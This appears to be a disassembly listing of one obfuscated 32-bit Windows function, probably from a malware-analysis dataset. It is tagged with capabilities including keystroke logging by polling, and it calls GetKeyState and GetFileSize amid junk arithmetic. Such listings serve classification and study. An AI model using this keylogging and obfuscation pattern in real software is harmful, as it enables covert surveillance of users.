Function at 0x404b7d
Capabilities:
Get file size
Log keystrokes via polling
Parse pe header

Disassembly:
and bh, bh
cmovp ebx, ebx
or ebx, ebx
pushal
push ebp
mov ebp, esp
add esp, 0xffffff84
sub dword [ebp - 0x78], edi
push 0
push 0x424a86
push 0x57
call fcn.0040100d
mov di, word [0x41c5fd]
sbb dword [ebp - 0x30], 0x35
call fcn.0040102b
and byte [ebp - 0x7c], cl
push 0x4202d1
push 0
push 0x415b67
push eax
push 0xffffffffffffff82
call fcn.00401091
push ecx
push 1
push 0xf559000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
xor dl, byte [ebp - 0x2c]
push 0x4223ba
push 0x41ab97
push 0
push edi
call fcn.004010b8
push 0xbdd4000
call dword [sym.imp.USER32.DLL_GetParent]
or dword [ebp - 0x64], 0xffffffa5
call fcn.0040110c
mov eax, dword [0x42386b]
adc eax, dword [0x424460]
movzx eax, si
mov edx, dword [0x424a5f]
sal al, 1
mov al, byte [0x428a24]
shr cx, 0x16
mov ecx, dword [0x41ac87]
call fcn.0040115e
push 0xb77e000
call dword [sym.imp.GDI32.DLL_DeleteDC]
push edi
push 0x7ba9b
push 0x420fd5
push 0x4268ff
push 0xe
call fcn.004011a6
push edi
push 0xe6b3000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
sbb dword [ebp - 0x20], 0xffffffbf
call fcn.004011e7
push 0xbde9000
call dword [sym.imp.GDI32.DLL_GetMapMode]
sbb dword [ebp - 0x3c], 0xffffffe2
push 0xf
call fcn.0040122f
add eax, dword [0x41dd1b]
add dword [ebp - 0x14], 0x15
call fcn.00401284
call fcn.004012c7
mov cx, word [0x42961b]
mov esi, 0xe253a2d0
xchg bh, cl
call fcn.004012fe
push esi
push 0x8bfe000
call dword [sym.imp.USER32.DLL_GetDlgItem]
add dword [ebp - 0x30], 0x26
call fcn.00401372
sub dl, byte [ebp - 0x18]
push 0x41e302
push 0xe375
call fcn.0040139e
push 0x1cf1000
call dword [sym.imp.GDI32.DLL_DeleteDC]
sub dword [ebp - 0x28], 0xffffffa1
push 0x41aef8
call fcn.004013e0
sar ax, 0x1c
mov edi, 0xac6684d1
push 0xbfef000
push 0x10040000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
push 0x424d3f
push 0x17
push 0x1dd4
call fcn.0040144a
mov eax, dword [0x429486]
cmp ah, 0xbd
jo 0x404d1c
btc edx, edi
inc bx
sbb eax, esp
sub al, 4
sbb bl, ch
movsx ebx, ax
sar cl, 1
mov esi, dword [0x41f1c0]
adc dword [ebp - 0x30], 0xffffffb9
push 0x427fd5
push 0x423c0e
push 0x4225f1
push 0x26
call fcn.0040148b
push eax
push 0xce24000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
sub dword [ebp - 0x34], 0xffffffc1
push 0x4254ee
push 0x7f50
call fcn.00401557
and dword [ebp - 0x40], 0xffffff8c
call fcn.00401598
mov byte [ebp - 8], bh
call fcn.004015d4
push 0x109d0000
call dword [sym.imp.GDI32.DLL_DeleteDC]
add dword [ebp - 0x74], edi
call fcn.00401605
push 0x350
push 0x2039000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
and dword [ebp - 0x78], 0xffffff89
push 0x4286cf
push 5
call fcn.0040164a
btr si, 0x3b
or dword [ebp - 0x60], 0xffffff8d
call fcn.0040166c
or dword [ebp - 0x74], 0xffffffc0
call fcn.0040169a
push 0x94a6000
call dword [sym.imp.GDI32.DLL_DeleteDC]
sub esi, dword [ebp - 0x38]
call fcn.004016cb
bswap edx
cmp dl, byte [ebp - 0x14]
jle 0x404ddd
or eax, 0x104370b
imul ebx, ebp, 0x7f351630
rcr cl, 1
mov bh, 0xb6
test bl, 0xab
jb 0x404e02
movzx ebx, dx
shrd ebx, edx, cl
mov eax, 0xb598f124
rcr bl, 1
shld edi, ecx, 4
or eax, 0x2ab6e331
mov dh, 0x18
xadd ch, ch
bsr eax, esi
not eax
shl bx, 1
adc cl, byte [ebp - 0x4c]
call fcn.00401720
test bh, 0x96
jg 0x404e21
push 1
push 0xd2c4000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
shrd ecx, ebx, cl
or dword [ebp - 0x38], ecx
push 0x2b
call fcn.00401782
push ecx
push 0x51b4000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push 0
push ecx
push 0x7272e
push 0xfffffffffffffff0
push 0x4152a5
call fcn.004017b4
push dword [ebp - 8]
push 0x280d000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
push 0x81dd000
call dword [sym.imp.USER32.DLL_GetKeyState]
call fcn.004017fc
push edx
push 0x140e000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
push 0xe841000
call dword [sym.imp.USER32.DLL_GetParent]
call fcn.00401860
ror edx, 0x17
and bl, byte [0x41bc15]
lea ecx, [eax + esi*4]
rcr ax, 1
mov ecx, dword [0x415669]
sar al, 6
xor esi, dword [0x42713e]
mov byte [ebp - 0x20], bh
push 0
push ecx
push 0x810ff
call fcn.0040196b
btr eax, ecx
movzx ax, dh
and ch, byte [0x417b91]
sbb dword [ebp - 0x50], 0x48
call fcn.0040198e
movsx ebx, si
mov eax, dword [0x41aa7a]
push esi
push 0xdd03000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
push 0xfd678
push 0x264b6
push edx
call fcn.004019cf
push 1
push 0xc3b1000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
xor dword [ebp - 0x4c], 0xffffffa5
push 0
push 0x2012c
push 0x9442a
call fcn.00401a01
push 0x6371000
call dword [sym.imp.USER32.DLL_GetKeyState]
and ebx, dword [ebp - 0x6c]
push 0x424b45
push str.am_
push 0x4189c9
push 0x418719
push 0
call fcn.00401a1c
push 0xec77000
call dword [sym.imp.GDI32.DLL_DeleteDC]
and byte [ebp - 0x74], bl
push 0x421d8f
push 0x598fe
push 0x427faa
push ebx
push 0x41857b
call fcn.00401a40
push 0x8bec000
call dword [sym.imp.GDI32.DLL_GetMapMode]
bswap si
mov al, byte [0x429cd0]
push 0x41d678
push ebx
push 0x41bdd4
call fcn.00401a89
and ax, word [0x4223f8]
bsf ecx, ebx
rcl ecx, 1
and di, 0x9169
mov cx, word [0x41ed3d]
push 0xdead000
call dword [sym.imp.USER32.DLL_GetParent]
push 0
push 0x41e419
call fcn.00401ae5
push dword [ebp - 0x7c]
push 0x3e4
push 0x34d0000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
sub dword [ebp - 0x20], 0x20
call fcn.00401b11
sub dword [ebp - 0x24], 0xffffffd3
push 0
push 0
call fcn.00401b52
shrd esi, edi, cl
cmp edx, 0x321d7714
jno 0x404ffc
sub eax, 0x6a3e845c
ror ch, 1
and al, 0x67
bsr edi, ecx
dec ecx
mov dh, byte [0x417a3c]
or edi, dword [0x4228a4]
shld edi, edi, 0x14
call fcn.00401b7f
sbb dl, byte [ebp - 0x30]
push 0x41891d
push 0x41c362
call fcn.00401b9d
xor si, word [0x426fba]
mov ax, word [0x41f05f]
btc cx, 0x34
and ah, byte [0x41a076]
mov eax, dword [0x4289ef]
test al, 0x8e
je 0x405055
push 0x42f2000
push 0x8ade000
call dword [sym.imp.USER32.DLL_GetDlgItem]
add di, word [0x41f204]
adc dword [ebp - 0x38], 0xffffffc4
push 0x415aef
call fcn.00401bd9
push 0x2a8
push 0x1f27000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
or dword [ebp - 0x50], 0x14
push 0x4255cd
call fcn.00401c14
mov si, word [0x419ba8]
and dx, word [0x420e60]
add dword [ebp - 0x2c], 0x46
push 0x5d
push 0xf0d1a
push 0
call fcn.00401c59
push 0x63da000
call dword [sym.imp.USER32.DLL_GetParent]
test bh, 0xf4
jo 0x4050c3
push 0
push 0x550e000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
mov eax, dword [0x419b2d]
call fcn.00401ca4
mov ebx, dword [0x4160e0]
neg cl
or si, word [0x41dca4]
adc bh, byte [0x42182e]
mov bh, byte [0x42201d]
and edx, ecx
neg ch
xadd edx, edi
rcl al, 0xa
mov dword [ebp - 0x38], ecx
call fcn.00401cdf
push 0x8721000
call dword [sym.imp.USER32.DLL_GetKeyState]
and dword [ebp - 4], 0x2d
call fcn.00401d03
mov esi, dword [0x4287f8]
ror cx, 0xb
mov eax, 0x3a5a297d
btc edi, eax
bswap edi
mov dx, word [0x425db7]
and eax, dword [0x41f2ef]
xchg bl, dh
mov cl, 5
mov edx, dword [0x423497]
xchg bx, dx
mov edx, dword [0x420be8]
push 0x424383
call fcn.00401d2f
push 0x1f5d000
call dword [sym.imp.USER32.DLL_GetParent]
xor dword [ebp - 0x3c], 0x66
push 0
push 0x41fa2c
push 0x41e24a
push 0x427315
call fcn.00401d53
mov al, byte [0x41be08]
xor eax, dword [0x4286b0]
add ecx, dword [ebp - 0x18]
push 0x9cae5
call fcn.00401d77
push 0xc428000
call dword [sym.imp.GDI32.DLL_DeleteDC]
adc byte [ebp - 0x64], dl
push 0x41c79f
push 0
call fcn.00401df3
push 0x853e000
call dword [sym.imp.USER32.DLL_GetKeyState]
sbb byte [ebp - 0x4c], bl
call fcn.00401e22
push 0x7064000
call dword [sym.imp.GDI32.DLL_DeleteDC]
call fcn.00401e65
push esi
push 0x92e2000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
and dword [ebp - 0x54], 0xffffffee
push 0xfc7a7
call fcn.00401e9d
cmp al, cl
jl 0x4051f8
and edx, 0x70
mov edi, 0xe760d10a
sar ax, 1
rcr bx, 9
bsr bx, si
adc ch, byte [0x41fd25]
add bx, 0x99a
sub dword [ebp - 4], esi
call fcn.00401ed9
mov dl, byte [0x418bb1]
ror di, 7
or esi, 0xafdbfadf
push esi
push 0xf853000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
call fcn.00401f12
sbb dword [ebp - 0x58], 0xffffff8f
push 0x429489
push edi
push 0
push 0x41cbf4
push 0x3a
call fcn.00401f52
push dword [ebp - 0x54]
push 0xa2fc000
call dword [sym.imp.USER32.DLL_GetDlgItem]
add dword [ebp - 8], 0x22
call fcn.00401f82
push 0x44ed000
call dword [sym.imp.GDI32.DLL_DeleteDC]
push 0x41805b
push 0x68
push ebx
push 0x42937e
push 0x417323
call fcn.00401fc3
push ebx
push 0x17f4000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
cmp esi, dword [ebp - 0x20]
jp 0x4052ab
bsf dx, si
xadd edi, ecx
inc cl
sbb ax, 0xb47f
push 0x64
push 0x314
push 0xb92b000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
test ebx, eax
jo 0x4052bb
push eax
push 0x6525000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
call fcn.00401fec
push 0xd505000
call dword [sym.imp.USER32.DLL_GetParent]
sbb dword [ebp - 0x30], 0xffffffe2
push 0x424fd5
call fcn.00402034
mov eax, dword [0x429ce6]
mov ecx, dword [0x41708f]
imul bx, sp, 0xff92
add al, byte [0x4238f2]
sub esi, dword [ebp - 8]
call fcn.00402076
push 0x41ae2b
call fcn.004020b0
push esi
push 0x755a000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
add dword [ebp - 0x68], 0xffffff9c
call fcn.004020e8
mov dh, byte [0x41f1ad]
movzx ecx, bh
cmp eax, 0x22bbc994
ja 0x405331
push edx
push 0x147e000
call dword [sym.imp.USER32.DLL_EnableWindow]
add dword [ebp - 0xc], 0x27
call fcn.00402143
add ax, word [0x42084c]
rcr si, 0x1c
adc dword [ebp - 0x30], 0xffffffc3
call fcn.004021a2
adc dword [ebp - 0x18], 0xffffffd6
call fcn.004021f2
push 0
push 0x8fa2c
push edx
push 0x4204d4
call fcn.00402241
push 1
push 0x31c8000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
or cl, byte [ebp - 4]
push 0xffffffffffffffe1
push 0
push 0
call fcn.00402294
push edx
push 0xd6cb000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x6c], edi
call fcn.004022d4
shld edx, ebx, cl
bswap edx
imul ecx
adc byte [ebp - 0x6c], cl
call fcn.004022fd
or dword [ebp - 0x58], 0x52
call fcn.00402336
xor di, word [0x428855]
mov ax, word [0x41a867]
shr edi, 1
adc dword [ebp - 0x30], 0x75
push ebx
push 0xffffffffffffff9b
push 0x418179
call fcn.00402369
push ebx
push 0x1d5f000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
and dword [ebp - 0x24], 0x40
push 0
call fcn.00402393
mov eax, dword [0x41aaad]
mov ch, byte [0x41ac5a]
sar al, 9
adc ah, byte [0x4291e1]
sar edi, 0xa
mov al, byte [0x41a909]
mov al, 0xb
call fcn.004023c2
call fcn.0040241f
xor dx, word [0x42648a]
mov eax, dword [0x41840c]
aam 0xd8
xor dword [ebp - 0x78], 0xffffff9c
call fcn.00402458
test edx, 0x3af0a327
jbe 0x405434
mov ax, word [0x419638]
xor dh, byte [0x420876]
xor bh, byte [ebp - 0x20]
call fcn.00402473
and dword [ebp - 0x10], 0x57
push 0x41c302
push 0x420af2
push 0x7f
push 0x41c7af
push 0x54
call fcn.004024c4
push 0xa734000
call dword [sym.imp.GDI32.DLL_GetMapMode]
call fcn.00402505
rol ax, 0xf
mov edi, 0x361aaa7d
sar al, 0x15
mov di, word [0x41cfee]
shrd ebx, ebx, cl
cmp esi, 0x1c3b6266
je 0x405493
xor di, word [0x4293e6]
push 0x421d0d
push 0x328b0
push edx
call fcn.00402560
or dword [ebp - 0x54], 0xffffff9b
call fcn.0040259a
or dword [ebp - 0x40], 0x3c
call fcn.004025d8
lea ax, [esp + edi*2]
and dword [ebp - 0x50], 0x74
call fcn.00402621
mov ecx, 0x4b7292da
push 0x421e7f
push 0
call fcn.0040264d
push 1
push 0x358b000
call dword [sym.imp.USER32.DLL_EnableWindow]
mov byte [ebp - 0x34], dl
push 0
push edx
push 0
push 0xf777e
push 0x41bb40
call fcn.0040268d
push 0xe01b000
push 0xf366000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
xor byte [ebp - 0x64], bl
call fcn.004026f3
or dword [ebp - 0x40], esi
push 0x41604b
push 0x425092
push 0xcc99c
call fcn.00402716
rol edi, 1
add dl, byte [0x426140]
mov eax, dword [0x420dea]
mov ah, byte [0x422253]
mov eax, dword [0x41f69c]
and eax, 0x3b084176
shr eax, 1
shl ebx, 0xb
push 0x418cc9
push 0x41dfbd
push ecx
push 0x1a
push 0x428ddb
call fcn.0040274c
mov bx, word [0x423215]
movsx ecx, di
sub dword [ebp - 0x64], 0x17
call fcn.004027af
push esi
push 1
push 0xbca1000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
push 0x54fb000
call dword [sym.imp.USER32.DLL_GetKeyState]
push 0x41c03d
call fcn.004027f6
push 0x300d000
call dword [sym.imp.USER32.DLL_GetParent]
and dword [ebp - 0x3c], 0x7f
push 0x53
call fcn.00402838
add cl, bh
lea edi, [esi + edi*2]
add edx, dword [0x4186c1]
mov bl, byte [0x418c24]
sar al, 1
add ecx, dword [0x418ddf]
push 0xba8e000
push 0xd6cc000
call dword [sym.imp.USER32.DLL_EnableWindow]
call fcn.00402854
mov di, word [0x4170ca]
push 0x5b
push 0x4167fd
push 0x41a1c1
call fcn.004028be
push dword [ebp - 0x3c]
push 0x53c0000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
and byte [ebp - 0x18], bh
push 0
push 0x41d99a
push 0xffffffffffffff80
call fcn.004028f7
add edx, dword [0x421132]
sbb eax, dword [0x41ab74]
mov dh, 0x9b
mov edx, dword [0x41ee3b]
mov al, byte [0x41e2d0]
aam 0x90
push 0x73af7
call fcn.0040293c
push 0xdbc4000
call dword [sym.imp.GDI32.DLL_DeleteDC]
and dword [ebp - 0x1c], 0xffffffbb
push eax
push 0x41ad6b
call fcn.004029a3
push 1
push 0xe5ef000
call dword [sym.imp.USER32.DLL_GetDlgItem]
sub dword [ebp - 0x18], 0xffffffc1
push 0x417739
push 0x418356
call fcn.004029b3
push 0
push 0xae57000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
call fcn.004029eb
or dword [ebp - 0x7c], 0xffffffdf
push 0
call fcn.00402a18
mov al, byte [0x424077]
and dword [ebp - 0x14], edi
push 0x416637
push 0
push 0x422cb9
push 0x41cbaa
push 0
call fcn.00402a51
mov esi, 0xcaabe31d
and eax, dword [0x41b468]
mov ax, word [0x41ddd4]
mov edi, 0x478f9e5c
btr cx, 0x7f
or bh, byte [ebp - 0x3c]
call fcn.00402a98
adc dword [ebp - 0x38], ebx
push 0x41bff6
push 0x4239e9
call fcn.00402ae0
push dword [ebp - 0x24]
push 0xc5b3000
call dword [sym.imp.USER32.DLL_GetDlgItem]
sub dword [ebp - 0x6c], ebx
push 0
push 0xffffffffffffff94
call fcn.00402af6
or dword [ebp - 0x58], ebx
push 0x426b8b
push 0x42004e
push 0x41d345
call fcn.00402b43
push 0xd281000
call dword [sym.imp.GDI32.DLL_DeleteDC]
and ebx, dword [0x41f26d]
mov ax, word [0x4210ac]
sar bl, 1
shr edi, 0x17
push 0
push 0xffffffffffffffd2
push 0x424556
push 0
call fcn.00402b86
push 0x368
push 0x6ff6000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
push 0x1859000
call dword [sym.imp.GDI32.DLL_GetMapMode]
push 0x1f571
push 0x11
push ebx
call fcn.00402bc8
mov edx, 0xbae8e773
mov ax, word [0x419afb]
xor bl, byte [ebp - 0x30]
call fcn.00402bff
sub bh, byte [ebp - 0x4c]
push 0xffffffffffffff9f
push 0x4259c1
push 0
call fcn.00402c5a
or di, word [0x429c7e]
xchg dx, cx
sbb dh, byte [0x41b7d9]
inc edx
lea edi, [eax + ecx*8]
adc dx, word [0x41c35a]
test ah, 0xb0
js 0x4057c8
push 0xe4
push 0x9206000
call dword [sym.imp.USER32.DLL_GetDlgItem]
sbb ch, cl
rcr ebx, 0xd
shl edi, 1
mov bh, 0x9f
xor ax, 0xb929
or dword [ebp - 8], 0xffffffe3
push 0
push 0x423292
push edx
push str.d_d_
push 0x4273e0
call fcn.00402c95
push dword [ebp - 0x3c]
push esi
push 0x1f76000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
sub dword [ebp - 0x70], 0xffffffc3
push 0x421443
push 0x41dfb5
push 0x41b9d5
push 0
call fcn.00402cd9
ror ch, 1
mov eax, dword [0x41c130]
mov eax, dword [0x42669d]
xadd dx, bx
push 0x310
push 0x8673000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
push 0xdbdd
push ebx
call fcn.00402d0a
or dword [ebp - 0x48], 0xffffffdc
push 0xb054a
call fcn.00402d4a
push 0xba4d000
call dword [sym.imp.USER32.DLL_GetKeyState]
push dword [ebp - 0x40]
push 0xc4d3000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
call fcn.00402d89
push 0x5202000
push 0x4de1000
call dword [sym.imp.USER32.DLL_EnableWindow]
and dword [ebp - 0x78], 0x2c
push 0x417a25
push ebx
call fcn.00402db3
push eax
push dword [ebp - 0x10]
push 0xc3f5000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
push 0
push 0x1f
push 0x42637b
push 0x41bf72
push 0
call fcn.00402e0e
push 0x105ad000
call dword [sym.imp.GDI32.DLL_GetMapMode]
xor edx, dword [ebp - 0x10]
call fcn.00402e25
push dword [ebp - 4]
push 0x105f2000
call dword [sym.imp.USER32.DLL_GetDlgItem]
xor dword [ebp - 0x6c], 0xffffffeb
call fcn.00402e68
sbb dword [ebp - 0x7c], 0x3c
call fcn.00402ea1
mov ax, word [0x415b77]
sbb eax, 0xed8957bf
aam 0x61
push eax
push 0x39c0000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
push 0
call fcn.00402ee2
or cx, word [0x418f75]
adc dword [ebp - 4], 0xffffffe7
call fcn.00402f1d
push 0x384
push 0x8b0b000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
sub dword [ebp - 0x24], ebx
push 0
push 0x41e73c
call fcn.00402f51
mov ax, word [0x4200e6]
xor ah, byte [0x41fa73]
mov esi, dword [0x420fa7]
rol cl, 1
mov edi, dword [0x426331]
sub al, byte [0x426ffb]
push edx
push 0
push 0x41913b
push ebx
call fcn.00402fb7
mov ax, word [0x421d40]
and cl, byte [0x419934]
mov ax, word [0x422d1d]
sub dword [ebp - 0x78], 0xffffffd2
push edi
push 0x4176ac
call fcn.00402fd5
push 0xc816000
call dword [sym.imp.GDI32.DLL_GetMapMode]
push 0x4b2b000
call dword [sym.imp.USER32.DLL_GetKeyState]
push 0x5ab22
push 0x425151
push 0x3a
call fcn.00402ff2
push 0xa2a8000
push 0x9418000
call dword [sym.imp.USER32.DLL_EnableWindow]
add dword [ebp - 0x28], 0x49
push 0
push 0x4211c7
push 0x4153ee
call fcn.00403051
adc dword [ebp - 0x10], 0x51
push 0xffffffffffffff81
push 0x417205
push 0xdf01f
push 0xe7b8b
push 0x415f52
call fcn.004030a4
push esi
push 0x84a0000
call dword [sym.imp.USER32.DLL_GetDlgItem]
call fcn.004030e3
mov bx, word [0x421b63]
rcr dl, 1
rol al, 6
xor eax, 0x4d381079
neg di
push 0x416a3c
push 0x41e2fc
push 0x4268da
call fcn.00403120
mov eax, dword [0x415bd5]
test ebx, 0x640b0de4
jne 0x405a35
push 0
push 0x19d9000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
sbb dword [ebp - 0x38], edi
push 0x4220d8
push 0x3bfd
push 0
call fcn.00403162
mov eax, dword [0x41fefa]
xor ah, byte [0x41b2e6]
adc edx, dword [ebp - 4]
push 0x61
call fcn.004031a1
push dword [ebp - 0x78]
push 0x34ac000
call dword [sym.imp.USER32.DLL_GetDlgItem]
sub dword [ebp - 0x78], 0x41
call fcn.004031c8
add dl, 0x4d
lea edi, [esp + eax*4]
sub cl, byte [ebp - 4]
call fcn.004031ff
or dword [ebp - 0x2c], ecx
call fcn.0040324e
rcl al, 1
or esi, dword [0x419487]
mov eax, dword [0x425f87]
sub edi, dword [ebp - 0x3c]
push 0x421d4c
push esi
push 0xfffffffffffffff3
call fcn.00403298
push 0xd57d000
call dword [sym.imp.USER32.DLL_GetParent]
or dword [ebp - 0x18], ecx
push 0x7b
push 0x428d9a
call fcn.004032d2
push 0
push 0xd8b6000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
mov ax, word [0x426d4c]
xor di, 0xf4c
call fcn.0040330a
sub byte [ebp - 0xc], bl
push 0x4230f9
push 0x41a1e3
call fcn.0040334f
push edx
push 0xf633000
call dword [sym.imp.USER32.DLL_EnableWindow]
call fcn.0040338d
or esi, dword [ebp - 0x68]
call fcn.004033a4
add dword [ebp - 0x2c], 0xffffffbe
push 0
push 0xaec7b
push 0x1e
call fcn.004033ce
push 0x36a6000
call dword [sym.imp.USER32.DLL_GetKeyState]
xor edx, dword [ebp - 0x68]
push 0
push 0xffffffffffffff8a
call fcn.004033e9
mov ax, word [0x426db3]
inc ah
rol ecx, 1
xor dword [ebp - 0x10], esi
call fcn.00403457
push 1
push 0xf6ac000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
call fcn.004034be
push 0xf224000
push esi
push 0xf933000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
push 0x424036
push 0x6e711
push 0xffffffffffffff8a
push eax
push 0x24
call fcn.00403506
adc esi, dword [0x426f94]
bsf ebx, esi
mov cl, 0x3d
sbb ch, byte [0x422587]
rol dx, 1
mov ebx, dword [0x416ef7]
rcr al, 7
test al, 0x89
je 0x405ba8
push 0xa5f9000
call dword [sym.imp.USER32.DLL_GetKeyState]
sbb bx, word [0x41b672]
sub di, word [0x421b67]
test al, 0x50
jno 0x405bc8
push dword [ebp - 0x54]
push 0x6836000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
mov ax, word [0x41b106]
neg bl
rol bx, 1
sub al, dl
push 0x421c62
push 0x427318
push 0x75
call fcn.00403532
push 1
push 0xf75c000
push 0x10cdc000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
sub dword [ebp - 0x28], 0x48
call fcn.00403557
push dword [ebp - 0x20]
push 0xd05f000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
push 0x41f85e
push 0x62ad0
call fcn.00403578
sar edi, 9
movzx edi, bx
mov ax, word [0x417bff]
xchg ecx, edi
mov al, byte [0x425eab]
adc byte [ebp - 0x78], dh
call fcn.004035bc
adc al, byte [0x423128]
sbb ax, 0xab21
call fcn.00403605
push 0xc5c4000
push 0x84d2000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
xor byte [ebp - 0x68], bh
call fcn.0040362a
call fcn.0040365c
adc dword [ebp - 0x28], 0x5d
push 0xb54cb
push 0
push 0xffffffffffffff99
push 0x41a12e
call fcn.004036c8
adc dword [ebp - 0x2c], 0x78
push 0x419114
push 0xec63e
push 0x427d03
push 0xffffffffffffffbe
push 0x415cfe
call fcn.00403706
adc si, word [0x423635]
xor dword [ebp - 0x1c], 0xffffffac
call fcn.00403724
push 0xeea5000
push 0x104f0000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
sbb dword [ebp - 0x78], 0xffffff95
call fcn.0040374d
sbb dword [ebp - 0x24], 0x27
call fcn.0040379a
xor bl, byte [0x424e7b]
aam 0x31
mov eax, dword [0x418359]
xor dword [ebp - 0x74], 0xffffffd9
call fcn.004037cc
push dword [ebp - 0x30]
push 0x81b6000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
adc dword [ebp - 0x14], 0x1e
call fcn.004037fc
push eax
push 0x1389000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x14], edx
push 0
push esi
call fcn.0040384f
push 1
push 0x2f6e000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
add dword [ebp - 0x44], esi
call fcn.00403894
sbb byte [ebp - 0x34], dh
push 0x41fea4
call fcn.004038c7
push 0xb198000
push 0x1ce3000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
add dword [ebp - 8], 0x4a
call fcn.00403916
push 0
push 0xe6e6000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
push edi
push 0
call fcn.0040394f
mov eax, dword [0x426dce]
mov bx, word [0x41ab8f]
sbb dh, ch
cmp eax, 0x42347fef
jle 0x405d84
add ah, 0x48
bsr ecx, esi
bts cx, 0x27
mov bh, 0xe
mov edi, dword [0x415bf3]
mov edx, dword [0x418e31]
sbb dword [ebp - 0x2c], esi
push 0x418c36
push ecx
push 0x429110
push ecx
push eax
call fcn.00403987
sbb ax, 0xe228
test dword [ebp - 0x18], edi
jle 0x405db4
or bl, byte [0x41ef0a]
bswap dx
mov eax, dword [0x419f20]
aam 0x1a
mov cl, byte [0x423328]
adc dword [ebp - 0x34], 0x7e
push 0x42338f
push 0x41d567
push 0x75
push eax
push 0x417e00
call fcn.004039d7
lea dx, [ebx + eax*2]
sub bx, word [0x423e37]
mov ebx, 0x23f1ef61
sub dword [ebp - 0x70], 0xffffffc4
push 0x42201d
push 0xa8095
call fcn.00403a13
and bl, byte [0x424c26]
mov ax, word [0x4181c7]
xor dword [ebp - 0x18], 0xffffff82
push 0x423332
push 0xffffffffffffff8a
push 0x75230
push 0x41f0be
push 0xaa2ad
call fcn.00403a52
sar ch, 1
cmp edx, eax
jnp 0x405e50
push 0x100
push 0x9659000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
sar al, 0x15
shrd esi, esi, cl
neg bx
movsx si, bh
call fcn.00403a68
push 0x2e69000
call dword [sym.imp.USER32.DLL_GetKeyState]
push 0
push 0x324
push 0x7db9000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
push 0
push 0x41da13
push 0
push 0x41d61a
push 0
call fcn.00403a8a
sbb eax, 0xce96bce1
and byte [ebp - 0x54], dh
call fcn.00403ad7
add dword [ebp - 0x78], 0x47
push 0xed74
push 0x4218d3
push 0x426767
push 0x67
call fcn.00403b29
push dword [ebp - 0x1c]
push 0x7198000
call dword [sym.imp.USER32.DLL_EnableWindow]
push 0xca92000
call dword [sym.imp.USER32.DLL_GetParent]
push 0x2c
push 0x417bd3
push esi
call fcn.00403b69
mov al, byte [0x41619b]
mov bl, byte [0x4195d4]
bswap edx
and ax, 0x288a
shld ecx, eax, 0x1d
or esi, dword [0x41ede0]
cmp edx, 0xae065351
je 0x405f06
or cx, word [0x420196]
mov bh, 0x1a
xchg dx, si
shl al, 3
and esi, dword [ebp - 0x38]
call fcn.00403ba3
sub cx, word [0x41d751]
mov dl, 0xed
xor dword [ebp - 0x30], 0xfffffff6
call fcn.00403bc7
push dword [ebp - 0x14]
push 0xbe37000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
call fcn.00403bfe
sbb ebx, dword [ebp - 0x2c]
push 0x8e3ed
push 0xffffffffffffff88
push 0x41c9cf
push 0
call fcn.00403c4b
xadd edx, eax
mov al, byte [0x41db03]
mov ch, byte [0x4246be]
sub dword [ebp - 0x7c], 0x76
push 0x422acf
push 0x422507
call fcn.00403c9e
xor esi, dword [0x4161e3]
or eax, 0x83bca280
mov dh, byte [0x4290d1]
sub cl, 0xe0
push esi
call fcn.00403cdb
push 0xf4f8000
call dword [sym.imp.GDI32.DLL_DeleteDC]
add ebx, dword [ebp - 0x24]
call fcn.00403d31
mov ebx, 0xc440801e
sbb ax, 0x6563
or ax, word [0x41b6b6]
and bx, word [0x4287ae]
call fcn.00403d56
sbb edi, dword [ebp - 4]
call fcn.00403d97
add dword [ebp - 0x7c], 0x17
push 0
push 0x41f1b7
push 0x419bc1
call fcn.00403da7
mov si, word [0x41e00b]
shld edx, eax, cl
sbb esi, dword [0x42012f]
ror dl, 1
sub dx, word [0x420953]
mov ax, word [0x4214ea]
